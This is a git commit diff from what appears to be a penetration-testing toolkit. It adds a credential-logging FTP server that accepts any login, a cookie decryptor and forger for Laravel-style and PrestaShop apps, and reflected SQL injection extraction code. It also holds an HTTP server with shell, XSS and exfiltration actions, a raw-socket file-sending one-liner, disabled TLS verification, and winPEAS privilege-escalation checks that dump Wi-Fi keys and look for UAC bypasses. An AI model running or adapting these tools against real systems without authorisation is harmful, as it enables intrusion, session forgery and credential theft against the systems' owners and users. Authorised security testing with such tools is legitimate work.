Compare commits
3 Commits
12007c84c1
...
f080276339
Author | SHA1 | Date | |
---|---|---|---|
f080276339 | |||
90ccb07e94 | |||
78f91195f2 |
@ -57,6 +57,7 @@ Can be deployed on victim machines to scan the intranet.
|
||||
- dnsserver.py: Create a temporary dns server responding dynamically to basic DNS requests (in-memory)
|
||||
- sshserver.py: Create a temporary ssh server to intercept credentials (TODO: relay) (in-memory)
|
||||
- smtpserver.py: Create a temporary smtp server (in-memory)
|
||||
- ftpserver.py: Create a temporary ftp server (in-memory, thanks to @thanks to [@benzammour](https://github.com/benzammour))
|
||||
- template.py: Creates a template for web exploits, similar to pwnlib's template
|
||||
- pcap_file_extract.py: Lists and extracts files from http connections found in pcap files
|
||||
- find_git_commit.py: Compares a local repository (e.g. downloaded from a remote server) with another git repository to guess the commit hash. Useful to find used versions
|
||||
|
BIN
chisel
BIN
chisel
Binary file not shown.
BIN
chisel64
BIN
chisel64
Binary file not shown.
148
crypto_cookie.py
Normal file
148
crypto_cookie.py
Normal file
@ -0,0 +1,148 @@
|
||||
import base64
|
||||
import hashlib
|
||||
import hmac
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
import urllib.parse
|
||||
from Crypto.Cipher import AES
|
||||
|
||||
def unpad(data):
|
||||
if not data:
|
||||
return data
|
||||
last_byte = data[-1]
|
||||
if last_byte < AES.block_size:
|
||||
data = data[0:-last_byte]
|
||||
return data
|
||||
|
||||
def pad(data):
|
||||
if not data:
|
||||
return data
|
||||
padding = AES.block_size - (len(data) % AES.block_size)
|
||||
if padding < AES.block_size:
|
||||
data = data + bytes([padding]) * padding
|
||||
return data
|
||||
|
||||
def generate_mac(APP_KEY, iv, data):
|
||||
return hmac.new(key=APP_KEY, msg=base64.b64encode(iv)+base64.b64encode(data), digestmod=hashlib.sha256)
|
||||
|
||||
def decrypt_cookie(APP_KEY, cookie):
|
||||
json_obj = json.loads(base64.b64decode(urllib.parse.unquote(cookie)).decode())
|
||||
iv = base64.b64decode(json_obj["iv"].encode())
|
||||
encrypted = base64.b64decode(json_obj["value"].encode())
|
||||
mac = generate_mac(APP_KEY, iv, encrypted)
|
||||
if mac.hexdigest() != json_obj["mac"]:
|
||||
print("[~] WARN: macs are not equal")
|
||||
|
||||
cipher = AES.new(APP_KEY, AES.MODE_CBC, iv)
|
||||
return unpad(cipher.decrypt(encrypted)).decode()
|
||||
|
||||
def create_cookie(APP_KEY, data):
|
||||
iv = os.urandom(AES.block_size)
|
||||
cipher = AES.new(APP_KEY, AES.MODE_CBC, iv)
|
||||
encrypted = cipher.encrypt(pad(json.dumps(data).encode()))
|
||||
mac = generate_mac(APP_KEY, iv, encrypted)
|
||||
|
||||
json_obj = {
|
||||
"iv": base64.b64encode(iv).decode(),
|
||||
"value": base64.b64encode(encrypted).decode(),
|
||||
"mac": mac.hexdigest()
|
||||
}
|
||||
|
||||
new_cookie = base64.b64encode(json.dumps(json_obj).encode()).decode()
|
||||
# new_cookie = urllib.parse.quote(new_cookie)
|
||||
return new_cookie
|
||||
|
||||
def hkdf_extract(salt, input_key_material, hash_name='sha256'):
|
||||
"""
|
||||
Extract a pseudorandom key from the input key material and salt using HMAC.
|
||||
|
||||
:param salt: The salt (bytes).
|
||||
:param input_key_material: The input key material (bytes).
|
||||
:param hash_name: The hash function to use (string).
|
||||
:return: The pseudorandom key (bytes).
|
||||
"""
|
||||
if salt is None or len(salt) == 0:
|
||||
salt = b'\x00' * hashlib.new(hash_name).digest_size
|
||||
|
||||
return hmac.new(salt, input_key_material, hash_name).digest()
|
||||
|
||||
def hkdf_expand(pseudorandom_key, info=b'', length=32, hash_name='sha256'):
|
||||
"""
|
||||
Expand the pseudorandom key into one or more keys using HMAC.
|
||||
|
||||
:param pseudorandom_key: The pseudorandom key (bytes).
|
||||
:param info: Optional context and application-specific information (bytes).
|
||||
:param length: The length of the output key material in bytes (int).
|
||||
:param hash_name: The hash function to use (string).
|
||||
:return: The output key material (bytes).
|
||||
"""
|
||||
hash_len = hashlib.new(hash_name).digest_size
|
||||
blocks_needed = (length + hash_len - 1) // hash_len
|
||||
okm = b''
|
||||
output_block = b''
|
||||
|
||||
for counter in range(blocks_needed):
|
||||
output_block = hmac.new(pseudorandom_key, output_block + info + bytes([counter + 1]), hash_name).digest()
|
||||
okm += output_block
|
||||
|
||||
return okm[:length]
|
||||
|
||||
def hkdf(input_key_material, salt, info=b'', length=32, hash_name='sha256'):
|
||||
"""
|
||||
Derive keys using HKDF (extract and expand stages).
|
||||
|
||||
:param input_key_material: The input key material (bytes).
|
||||
:param salt: The salt (bytes).
|
||||
:param info: Optional context and application-specific information (bytes).
|
||||
:param length: The length of the output key material in bytes (int).
|
||||
:param hash_name: The hash function to use (string).
|
||||
:return: The derived key (bytes).
|
||||
"""
|
||||
pseudorandom_key = hkdf_extract(salt, input_key_material, hash_name)
|
||||
return hkdf_expand(pseudorandom_key, info, length, hash_name)
|
||||
|
||||
def decrypt_cookie_prestashop(COOKIE_KEY, cookie):
|
||||
assert re.match(r"^[a-fA-F0-9]+$", COOKIE_KEY)
|
||||
assert re.match(r"^[a-fA-F0-9]+$", cookie)
|
||||
|
||||
# https://github.com/defuse/php-encryption/blob/master/src/Key.php
|
||||
KEY_CURRENT_VERSION = b"\xDE\xF0\x00\x00"
|
||||
HEADER_SIZE = len(KEY_CURRENT_VERSION)
|
||||
KEY_BYTE_SIZE = 32
|
||||
CHECKSUM_BYTE_SIZE = 32
|
||||
COOKIE_KEY = bytearray.fromhex(COOKIE_KEY)
|
||||
assert COOKIE_KEY.startswith(KEY_CURRENT_VERSION)
|
||||
assert len(COOKIE_KEY) == HEADER_SIZE + KEY_BYTE_SIZE + CHECKSUM_BYTE_SIZE
|
||||
real_cookie_key = COOKIE_KEY[HEADER_SIZE:HEADER_SIZE+KEY_BYTE_SIZE]
|
||||
cookie_signature_check = COOKIE_KEY[0:HEADER_SIZE+KEY_BYTE_SIZE]
|
||||
key_signature = COOKIE_KEY[HEADER_SIZE+KEY_BYTE_SIZE:]
|
||||
assert hashlib.sha256(cookie_signature_check).digest() == key_signature
|
||||
|
||||
# https://github.com/defuse/php-encryption/blob/master/src/Core.php
|
||||
CURRENT_VERSION = b"\xDE\xF5\x02\x00"
|
||||
HEADER_SIZE = len(CURRENT_VERSION)
|
||||
SALT_SIZE = 32
|
||||
IV_SIZE = 16
|
||||
HMAC_SIZE = 32
|
||||
cookie = bytearray.fromhex(cookie)
|
||||
assert cookie.startswith(CURRENT_VERSION)
|
||||
assert len(cookie) >= HEADER_SIZE + SALT_SIZE + IV_SIZE + HMAC_SIZE
|
||||
salt = cookie[HEADER_SIZE:HEADER_SIZE+SALT_SIZE]
|
||||
iv = cookie[HEADER_SIZE+SALT_SIZE:HEADER_SIZE+SALT_SIZE+IV_SIZE]
|
||||
ct = cookie[HEADER_SIZE+SALT_SIZE+IV_SIZE:-HMAC_SIZE]
|
||||
hmac_data = cookie[-HMAC_SIZE:]
|
||||
|
||||
PBKDF2_ITERATIONS = 100000
|
||||
ENCRYPTION_INFO_STRING = b'DefusePHP|V2|KeyForEncryption'
|
||||
AUTHENTICATION_INFO_STRING = b'DefusePHP|V2|KeyForAuthentication'
|
||||
|
||||
derived_key = hkdf(real_cookie_key, salt, ENCRYPTION_INFO_STRING, 32, "sha256")
|
||||
|
||||
cipher = AES.new(derived_key, AES.MODE_CTR, initial_value=iv, nonce=b"")
|
||||
plaintext = cipher.decrypt(ct).decode()
|
||||
|
||||
# TODO: check hmac_data
|
||||
|
||||
lines = plaintext.split("¤")
|
||||
return dict(map(lambda line: line.split("|"), lines))
|
@ -285,8 +285,8 @@ if __name__ == "__main__":
|
||||
parser = argparse.ArgumentParser(description="Spawn a temporary http server")
|
||||
parser.add_argument(
|
||||
"action",
|
||||
choices=["shell", "dump", "proxy", "xss"],
|
||||
help="Choose one of these actions: shell, dump, proxy, xss"
|
||||
choices=["shell", "dump", "proxy", "xss", "start"],
|
||||
help="Choose one of these actions: shell, dump, proxy, xss, start"
|
||||
)
|
||||
|
||||
parser.add_argument(
|
||||
@ -297,7 +297,6 @@ if __name__ == "__main__":
|
||||
help="Address to bind on (default: 0.0.0.0)"
|
||||
)
|
||||
|
||||
# Optionales Argument: port
|
||||
parser.add_argument(
|
||||
"--port",
|
||||
type=int,
|
||||
@ -337,5 +336,9 @@ if __name__ == "__main__":
|
||||
file_server.dumpRequest("/exfiltrate")
|
||||
print("Exfiltrate data using:")
|
||||
print(xss)
|
||||
elif args.action == "start":
|
||||
file_server.load_directory(".")
|
||||
print("Serve files in current directory using:")
|
||||
print(file_server.get_full_url("/", ip_addr=ip_address))
|
||||
|
||||
file_server.serve_forever()
|
||||
|
181
ftpserver.py
Normal file
181
ftpserver.py
Normal file
@ -0,0 +1,181 @@
|
||||
import os
|
||||
import logging
|
||||
import argparse
|
||||
import signal
|
||||
from pyftpdlib.handlers import FTPHandler
|
||||
from pyftpdlib.servers import ThreadedFTPServer
|
||||
from pyftpdlib.authorizers import DummyAuthorizer
|
||||
|
||||
logger = logging.getLogger()
|
||||
logger.setLevel(logging.INFO)
|
||||
|
||||
stream_handler = logging.StreamHandler()
|
||||
stream_handler.setLevel(logging.INFO)
|
||||
|
||||
formatter = logging.Formatter("%(asctime)s - %(message)s")
|
||||
stream_handler.setFormatter(formatter)
|
||||
|
||||
logger.addHandler(stream_handler)
|
||||
|
||||
MSG_LOGIN = "Login successful"
|
||||
MSG_CLOSE = "Goodbye"
|
||||
|
||||
|
||||
# Class to log every action the user takes
|
||||
class CustomFTPHandler(FTPHandler):
|
||||
def on_login(self, username):
|
||||
logging.info(f"User '{username}' logged in successfully.")
|
||||
|
||||
def on_login_failed(self, username, password):
|
||||
logging.warning(
|
||||
f"Failed login attempt for user '{username}' with password '{password}'."
|
||||
)
|
||||
|
||||
def on_file_received(self, file):
|
||||
logging.info(f"File received: {file}")
|
||||
|
||||
def on_file_sent(self, file):
|
||||
logging.info(f"File sent: {file}")
|
||||
|
||||
def on_file_deleted(self, file):
|
||||
logging.info(f"File deleted: {file}")
|
||||
|
||||
def on_file_renamed(self, old_file, new_file):
|
||||
logging.info(f"File renamed from '{old_file}' to '{new_file}'")
|
||||
|
||||
def on_file_downloaded(self, file):
|
||||
logging.info(f"File downloaded: {file}")
|
||||
|
||||
def on_file_stored(self, file):
|
||||
logging.info(f"File stored: {file}")
|
||||
|
||||
def on_file_retrieved(self, file):
|
||||
logging.info(f"File retrieved: {file}")
|
||||
|
||||
def on_file_aborted(self, file):
|
||||
logging.info(f"File transfer aborted: {file}")
|
||||
|
||||
def on_file_changed(self, file):
|
||||
logging.info(f"File changed: {file}")
|
||||
|
||||
def on_file_moved(self, old_file, new_file):
|
||||
logging.info(f"File moved from '{old_file}' to '{new_file}'")
|
||||
|
||||
def on_file_uploaded(self, file):
|
||||
logging.info(f"File uploaded: {file}")
|
||||
|
||||
def on_connect(self):
|
||||
logger.info(f"Client connected: {self.remote_ip}")
|
||||
|
||||
def on_disconnect(self):
|
||||
logger.info(f"Client disconnected: {self.remote_ip}")
|
||||
|
||||
def on_logout(self, username):
|
||||
logger.info(f"User logged out: {username}")
|
||||
|
||||
def on_incomplete_file_received(self, file):
|
||||
logger.warning(f"Incomplete file received: {file}")
|
||||
|
||||
def on_incomplete_file_sent(self, file):
|
||||
logger.warning(f"Incomplete file received: {file}")
|
||||
|
||||
|
||||
class AnyUserAuthorizer(DummyAuthorizer):
|
||||
"""
|
||||
Authorization class that allows any combination of username/password.
|
||||
"""
|
||||
|
||||
def __init__(self, directory):
|
||||
DummyAuthorizer.__init__(self)
|
||||
self.directory = directory
|
||||
self.default_params = {
|
||||
"pwd": "",
|
||||
"home": self.directory,
|
||||
"perm": "elr",
|
||||
"operms": {},
|
||||
"msg_login": MSG_LOGIN,
|
||||
"msg_quit": MSG_CLOSE,
|
||||
}
|
||||
|
||||
def validate_authentication(self, username, password, handler):
|
||||
logger.info(f"User '{username}' tried logging in with password: '{password}'")
|
||||
|
||||
return True
|
||||
|
||||
def get_home_dir(self, username):
|
||||
return self.directory
|
||||
|
||||
def has_user(self, username):
|
||||
if username in self.user_table:
|
||||
return True
|
||||
|
||||
self.add_user(username, "", self.directory)
|
||||
return True
|
||||
|
||||
def has_perm(self, username, perm, path=None) -> bool:
|
||||
if username not in self.user_table:
|
||||
# add user manually and not via add_user due to infinite recursion
|
||||
self.user_table[username] = self.default_params
|
||||
|
||||
return True
|
||||
|
||||
def get_msg_login(self, username: str) -> str:
|
||||
return MSG_LOGIN
|
||||
|
||||
def get_msg_quit(self, username: str) -> str:
|
||||
return MSG_CLOSE
|
||||
|
||||
|
||||
class FastFTPServer:
|
||||
def __init__(self, directory, port):
|
||||
self.directory = directory
|
||||
self.port = port
|
||||
self.server = None
|
||||
|
||||
def start(self):
|
||||
authorizer = AnyUserAuthorizer(directory=self.directory)
|
||||
|
||||
handler = CustomFTPHandler
|
||||
handler.authorizer = authorizer
|
||||
|
||||
self.server = ThreadedFTPServer(("", self.port), handler)
|
||||
logging.info(f"Starting FTP server on port {self.port}")
|
||||
|
||||
self.server.serve_forever()
|
||||
|
||||
def cleanup(self):
|
||||
logging.info("Shutting down FTP server...")
|
||||
if self.server:
|
||||
self.server.close_all()
|
||||
logging.info("FTP server shut down.")
|
||||
|
||||
|
||||
def signal_handler(sig, frame):
|
||||
logging.info("Received Ctrl+C, shutting down...")
|
||||
ftp_server.cleanup()
|
||||
exit(0)
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="Temporary FTP Server")
|
||||
parser.add_argument(
|
||||
"--dir", "-d", type=str, default=".", help="Directory to serve files from"
|
||||
)
|
||||
parser.add_argument(
|
||||
"--port", "-p", type=int, default=21, help="Port to run the FTP server on"
|
||||
)
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
if not os.path.exists(args.dir):
|
||||
print(f"Error: The directory '{args.dir}' does not exist.")
|
||||
return
|
||||
|
||||
global ftp_server
|
||||
ftp_server = FastFTPServer(args.dir, args.port)
|
||||
signal.signal(signal.SIGINT, signal_handler)
|
||||
ftp_server.start()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
@ -292,9 +292,14 @@ class FindObjectsWorker(DownloadWorker):
|
||||
with open(abspath, 'wb') as f:
|
||||
f.write(response.content)
|
||||
|
||||
# parse object file to find other objects
|
||||
obj_file = dulwich.objects.ShaFile.from_path(abspath)
|
||||
return get_referenced_sha1(obj_file)
|
||||
try:
|
||||
# parse object file to find other objects
|
||||
obj_file = dulwich.objects.ShaFile.from_path(abspath)
|
||||
return get_referenced_sha1(obj_file)
|
||||
except:
|
||||
print("[-] Error parsing:", filepath)
|
||||
os.remove(abspath)
|
||||
return []
|
||||
|
||||
|
||||
def fetch_git(url, directory, jobs, retry, timeout, follow_redirects, module=".git"):
|
||||
|
6267
linpeas.sh
6267
linpeas.sh
File diff suppressed because one or more lines are too long
@ -642,7 +642,8 @@ sub makeRequest {
|
||||
$lwp = LWP::UserAgent->new(env_proxy => 1,
|
||||
keep_alive => 1,
|
||||
timeout => 30,
|
||||
requests_redirectable => [],
|
||||
requests_redirectable => [],
|
||||
ssl_opts => { verify_hostname => 0, SSL_verify_mode => 0 },
|
||||
);
|
||||
|
||||
$req = new HTTP::Request $method => $url;
|
||||
|
11
sqli.py
11
sqli.py
@ -5,7 +5,8 @@ import string
|
||||
class SQLi(ABC):
|
||||
|
||||
@staticmethod
|
||||
def build_query(column: str, table=None, condition=None, offset=None):
|
||||
def build_query(column: str|list, table=None, condition=None, offset=None):
|
||||
column = column if isinstance(column, str) else ",".join(column)
|
||||
condition = "" if not condition else f" WHERE {condition}"
|
||||
offset = "" if offset is None else f" OFFSET {offset}"
|
||||
table = "" if not table else f" FROM {table}"
|
||||
@ -76,10 +77,9 @@ class ReflectedSQLi(SQLi, ABC):
|
||||
pass
|
||||
|
||||
def extract_int(self, column: str, table=None, condition=None, offset=None, verbose=False):
|
||||
query_columns = [column] + list(map(str, range(2, len(self.column_types) + 1)))
|
||||
return int(self.reflected_sqli(query_columns, table, condition, offset)[0])
|
||||
return int(self.extract_string(column, table, condition, offset))
|
||||
|
||||
def extract_string(self, column: str, table=None, condition=None, offset=None, verbose=False):
|
||||
def extract_string(self, column: list|str, table=None, condition=None, offset=None, verbose=False):
|
||||
if str not in self.column_types:
|
||||
print("[!] Reflectd SQL does not reflect string types, only:", self.column_types)
|
||||
return None
|
||||
@ -137,12 +137,13 @@ class ReflectedSQLi(SQLi, ABC):
|
||||
query_columns[offset] = column
|
||||
offset += 1
|
||||
|
||||
column_str = ",".join(query_columns)
|
||||
# todo: fix count(*) for distinct
|
||||
row_count = self.extract_int(f"COUNT(*)", table=table, condition=condition, verbose=verbose)
|
||||
if verbose:
|
||||
print(f"Fetching {row_count} rows")
|
||||
|
||||
rows = []
|
||||
column_str = ",".join(query_columns)
|
||||
for i in range(0, row_count):
|
||||
row = self.reflected_sqli(query_columns, table, condition, i, verbose=verbose)
|
||||
if one:
|
||||
|
@ -6,8 +6,13 @@ import urllib.parse
|
||||
|
||||
def generate_template(base_url, features):
|
||||
|
||||
ip_address = "util.get_address()"
|
||||
for feature in features:
|
||||
if feature.lower().startswith("ip_address="):
|
||||
ip_address = "'" + feature.split("=")[1] + "'"
|
||||
|
||||
variables = {
|
||||
"IP_ADDRESS": "util.get_address()",
|
||||
"IP_ADDRESS": ip_address,
|
||||
"BASE_URL": f'"{base_url}" if "LOCAL" not in sys.argv else "http://127.0.0.1:1337"',
|
||||
"PROXIES": json.dumps({"http":"http://127.0.0.1:8080", "https":"http://127.0.0.1:8080"})
|
||||
}
|
||||
|
10
update.sh
10
update.sh
@ -52,13 +52,13 @@ download https://raw.githubusercontent.com/topotam/PetitPotam/main/PetitPotam.py
|
||||
|
||||
echo ""
|
||||
echo "Updating LinPEAS + WinPEAS…"
|
||||
peas_version=$(get_latest_version carlospolop/PEASS-ng)
|
||||
peas_version=$(get_latest_version peass-ng/PEASS-ng)
|
||||
if [ ! -z "$peas_version" ]; then
|
||||
echo "Got PEAS version: $peas_version"
|
||||
download https://github.com/carlospolop/PEASS-ng/releases/download/$peas_version/linpeas.sh linpeas.sh
|
||||
download https://github.com/carlospolop/PEASS-ng/releases/download/$peas_version/winPEASx86.exe win/winPEAS.exe
|
||||
download https://github.com/carlospolop/PEASS-ng/releases/download/$peas_version/winPEASx64.exe win/winPEASx64.exe
|
||||
download https://github.com/carlospolop/PEASS-ng/releases/download/$peas_version/winPEAS.bat win/winPEAS.bat
|
||||
download https://github.com/peass-ng/PEASS-ng/releases/download/$peas_version/linpeas.sh linpeas.sh
|
||||
download https://github.com/peass-ng/PEASS-ng/releases/download/$peas_version/winPEASx86.exe win/winPEAS.exe
|
||||
download https://github.com/peass-ng/PEASS-ng/releases/download/$peas_version/winPEASx64.exe win/winPEASx64.exe
|
||||
download https://github.com/peass-ng/PEASS-ng/releases/download/$peas_version/winPEAS.bat win/winPEAS.bat
|
||||
else
|
||||
echo "Unable to determine latest PEAS version"
|
||||
fi
|
||||
|
@ -46,6 +46,7 @@ if __name__ == "__main__":
|
||||
|
||||
print("[+] Now listening, download file using:")
|
||||
print('nc %s %d > %s' % (address, listen_sock.getsockname()[1], os.path.basename(path)))
|
||||
print('python -c \'import socket;sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM,0);sock.connect(("%s",%d));sock.sendall(open("%s","rb").read())\'' % (address, listen_sock.getsockname()[1], os.path.basename(path)))
|
||||
print()
|
||||
|
||||
serve_file(listen_sock, path, forever=True)
|
||||
|
Binary file not shown.
File diff suppressed because one or more lines are too long
BIN
win/chisel.exe
BIN
win/chisel.exe
Binary file not shown.
BIN
win/chisel64.exe
BIN
win/chisel64.exe
Binary file not shown.
@ -63,7 +63,7 @@ ECHO.
|
||||
CALL :ColorLine "%E%32m[*]%E%97m BASIC SYSTEM INFO"
|
||||
CALL :ColorLine " %E%33m[+]%E%97m WINDOWS OS"
|
||||
ECHO. [i] Check for vulnerabilities for the OS version with the applied patches
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#kernel-exploits
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#version-exploits
|
||||
systeminfo
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
@ -147,12 +147,20 @@ ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:LAPSInstallCheck
|
||||
CALL :ColorLine " %E%33m[+]%E%97m LAPS installed?"
|
||||
CALL :ColorLine " %E%33m[+]%E%97m Legacy Microsoft LAPS installed?"
|
||||
ECHO. [i] Check what is being logged
|
||||
REG QUERY "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled 2>nul
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:WindowsLAPSInstallCheck
|
||||
CALL :ColorLine " %E%33m[+]%E%97m Windows LAPS installed?"
|
||||
ECHO. [i] Check what is being logged: 0x00 Disabled, 0x01 Backup to Entra, 0x02 Backup to Active Directory
|
||||
REG QUERY "HKEY_LOCAL_MACHINE\Software\Microsoft\Policies\LAPS" /v BackupDirectory 2>nul
|
||||
REG QUERY "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\LAPS" /v BackupDirectory 2>nul
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:LSAProtectionCheck
|
||||
CALL :ColorLine " %E%33m[+]%E%97m LSA protection?"
|
||||
ECHO. [i] Active if "1"
|
||||
@ -182,7 +190,7 @@ CALL :T_Progress 1
|
||||
:UACSettings
|
||||
CALL :ColorLine " %E%33m[+]%E%97m UAC Settings"
|
||||
ECHO. [i] If the results read ENABLELUA REG_DWORD 0x1, part or all of the UAC components are on
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#basic-uac-bypass-full-file-system-access
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.html#very-basic-uac-bypass-full-file-system-access
|
||||
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA 2>nul
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
@ -233,7 +241,7 @@ CALL :T_Progress 1
|
||||
:InstalledSoftware
|
||||
CALL :ColorLine " %E%33m[+]%E%97m INSTALLED SOFTWARE"
|
||||
ECHO. [i] Some weird software? Check for vulnerabilities in unknow software installed
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#software
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#applications
|
||||
ECHO.
|
||||
dir /b "C:\Program Files" "C:\Program Files (x86)" | sort
|
||||
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall /s | findstr InstallLocation | findstr ":\\"
|
||||
@ -244,7 +252,7 @@ CALL :T_Progress 2
|
||||
|
||||
:RemodeDeskCredMgr
|
||||
CALL :ColorLine " %E%33m[+]%E%97m Remote Desktop Credentials Manager"
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#remote-desktop-credential-manager
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#remote-desktop-credential-manager
|
||||
IF exist "%LOCALAPPDATA%\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings" ECHO.Found: RDCMan.settings in %AppLocal%\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings, check for credentials in .rdg files
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
@ -252,7 +260,7 @@ CALL :T_Progress 1
|
||||
:WSUS
|
||||
CALL :ColorLine " %E%33m[+]%E%97m WSUS"
|
||||
ECHO. [i] You can inject 'fake' updates into non-SSL WSUS traffic (WSUXploit)
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#wsus
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#wsus
|
||||
reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate\ 2>nul | findstr /i "wuserver" | findstr /i "http://"
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
@ -260,7 +268,7 @@ CALL :T_Progress 1
|
||||
:RunningProcesses
|
||||
CALL :ColorLine " %E%33m[+]%E%97m RUNNING PROCESSES"
|
||||
ECHO. [i] Something unexpected is running? Check for vulnerabilities
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#running-processes
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#running-processes
|
||||
tasklist /SVC
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
@ -281,7 +289,7 @@ CALL :T_Progress 3
|
||||
:RunAtStartup
|
||||
CALL :ColorLine " %E%33m[+]%E%97m RUN AT STARTUP"
|
||||
ECHO. [i] Check if you can modify any binary that is going to be executed by admin or if you can impersonate a not found binary
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#run-at-startup
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#run-at-startup
|
||||
::(autorunsc.exe -m -nobanner -a * -ct /accepteula 2>nul || wmic startup get caption,command 2>nul | more & ^
|
||||
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run 2>nul & ^
|
||||
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce 2>nul & ^
|
||||
@ -305,7 +313,7 @@ CALL :T_Progress 2
|
||||
:AlwaysInstallElevated
|
||||
CALL :ColorLine " %E%33m[+]%E%97m AlwaysInstallElevated?"
|
||||
ECHO. [i] If '1' then you can install a .msi file with admin privileges ;)
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#alwaysinstallelevated
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#alwaysinstallelevated-1
|
||||
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2> nul
|
||||
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2> nul
|
||||
ECHO.
|
||||
@ -363,13 +371,13 @@ CALL :T_Progress 1
|
||||
|
||||
:WifiCreds
|
||||
CALL :ColorLine " %E%33m[+]%E%97m WIFI"
|
||||
for /f "tokens=3,* delims=: " %%a in ('netsh wlan show profiles ^| find "Profile "') do (netsh wlan show profiles name=%%b key=clear | findstr "SSID Cipher Content" | find /v "Number" & ECHO.)
|
||||
for /f "tokens=4 delims=: " %%a in ('netsh wlan show profiles ^| find "Profile "') do (netsh wlan show profiles name=%%a key=clear | findstr "SSID Cipher Content" | find /v "Number" & ECHO.)
|
||||
CALL :T_Progress 1
|
||||
|
||||
:BasicUserInfo
|
||||
CALL :ColorLine "%E%32m[*]%E%97m BASIC USER INFO
|
||||
ECHO. [i] Check if you are inside the Administrators group or if you have enabled any token that can be use to escalate privileges like SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebbugPrivilege
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#users-and-groups
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#users--groups
|
||||
ECHO.
|
||||
CALL :ColorLine " %E%33m[+]%E%97m CURRENT USER"
|
||||
net user %username%
|
||||
@ -443,7 +451,7 @@ ECHO.
|
||||
|
||||
:ServiceBinaryPermissions
|
||||
CALL :ColorLine " %E%33m[+]%E%97m SERVICE BINARY PERMISSIONS WITH WMIC and ICACLS"
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#services
|
||||
for /f "tokens=2 delims='='" %%a in ('cmd.exe /c wmic service list full ^| findstr /i "pathname" ^|findstr /i /v "system32"') do (
|
||||
for /f eol^=^"^ delims^=^" %%b in ("%%a") do icacls "%%b" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos usuarios %username%" && ECHO.
|
||||
)
|
||||
@ -452,7 +460,7 @@ CALL :T_Progress 1
|
||||
|
||||
:CheckRegistryModificationAbilities
|
||||
CALL :ColorLine " %E%33m[+]%E%97m CHECK IF YOU CAN MODIFY ANY SERVICE REGISTRY"
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#services
|
||||
for /f %%a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv >nul 2>&1 & reg save %%a %temp%\reg.hiv >nul 2>&1 && reg restore %%a %temp%\reg.hiv >nul 2>&1 && ECHO.You can modify %%a
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
@ -461,7 +469,7 @@ CALL :T_Progress 1
|
||||
CALL :ColorLine " %E%33m[+]%E%97m UNQUOTED SERVICE PATHS"
|
||||
